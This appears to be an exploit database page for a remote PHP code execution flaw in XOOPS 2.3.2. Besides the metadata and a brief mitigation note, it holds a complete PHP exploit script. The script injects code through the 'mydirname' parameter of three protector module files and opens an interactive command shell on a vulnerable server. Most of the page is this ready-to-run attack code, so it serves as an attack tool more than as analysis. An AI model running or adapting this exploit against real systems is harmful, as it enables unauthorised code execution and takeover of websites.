XOOPS 2.3.2 Remote PHP Code Execution Exploit

vendor:

XOOPS

by:

athos - staker[at]hotmail[dot]it

7.5

CVSS

HIGH

Remote Code Execution

Not specified

CWE

Product Name: XOOPS

Affected Version From: XOOPS 2.3.2

Affected Version To: XOOPS 2.3.2

Patch Exists: NO

Related CWE: Not specified

CPE: Not specified

Metasploit:

Other Scripts:

Platforms Tested: Not specified

Not specified

XOOPS 2.3.2 Remote PHP Code Execution Exploit

This exploit allows remote attackers to execute arbitrary PHP code on a target system running XOOPS 2.3.2 with register globals enabled. The vulnerability exists in the onupdate.php, oninstall.php, and notification.php files in the xoops_lib/modules/protector/ directory. By sending a specially crafted request with a malicious PHP code as the 'mydirname' parameter, an attacker can execute arbitrary code on the target system.

Mitigation:

Upgrade to a version of XOOPS that is not affected by this vulnerability. Disable register globals if not needed.

Source

Exploit-DB raw data:

#!/usr/bin/php -q
<?php

/****************************************************************
 * XOOPS 2.3.2 (mydirname) Remote PHP Code Execution Exploit    *
 * by athos - staker[at]hotmail[dot]it                          *            
 * http://xoops.org                                             *           
 *                                                              *             
 * thanks to s3rg3770 and The:Paradox                           *            
 *                                                              *            
 * works with register globals on                               *            
 * note: this vuln is a remote php code execution               *              
 *                                                              *   
 * Directory (xoops_lib/modules/protector/)                     *
 * onupdate.php?mydirname=a(){} [PHP CODE] function v           *
 * oninstall.php?mydirname=a(){} [PHP CODE] function v          *
 * notification.php?mydirname=a(){} [PHP CODE] function v       *
 ****************************************************************/

error_reporting(0);

list($cli,$host,$path,$num) = $argv;

if ($argc != 4) {  
    
    print "\n+--------------------------------------------------------------+\n";
    print "\r| XOOPS 2.3.2 (mydirname) Remote PHP Code Execution Exploit    |\n";    
    print "\r+--------------------------------------------------------------+\n";
    print "\rby athos - staker[at]hotmail[dot]it / http://xoops.org\n";
    print "\rUsage: php xpl.php [host] [path]\n\n";
    print "\rhost     + localhost\n";
    print "\rpath     + /XOOPS\n";
    exit;      
}         

exploit();

function exploit() {
    
    global $num;
    
    if ($num > 3) {
       die("\n$num isn't a valid option\n");
    } 
    else {
       yeat_shell();
    }
}

    
function yeat_shell() {
    
    while (1) {
        echo "yeat[php-shell]~$: "; 
        $exec = stripslashes(trim(fgets(STDIN)));  
        
        if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
        if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
        if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");

        print data_exec($exec);     
    }
}


function data_exec($exec) {
    
    global $host,$path,$num;
    
    if ($num == 1) {
        $urlex = "/xoops_lib/modules/protector/onupdate.php?mydirname=a(){}";
    }
    
    if ($num == 2) {
        $urlex = "/xoops_lib/modules/protector/notification.php?mydirname=a(){}";
    }
    
    if ($num == 3) {
        $urlex = "/xoops_lib/modules/protector/oninstall.php?mydirname=a(){}";
    }
    
    $exec = urlencode($exec);
    $data .= "GET /{$path}/{$urlex}{$exec}function%20v HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Connection: close\r\n\r\n";
    
    $html = data_send ($host,$data);

    return $html;
}


function data_send ($host,$data) {
   
    if (!$sock = @fsockopen($host,80)) {
        die("Connection refused,try again!\n");
    }   fputs($sock,$data);
    
    while (!feof($sock)) { $html .= fgets($sock); }
    
    fclose($sock);
    return $html;
}   

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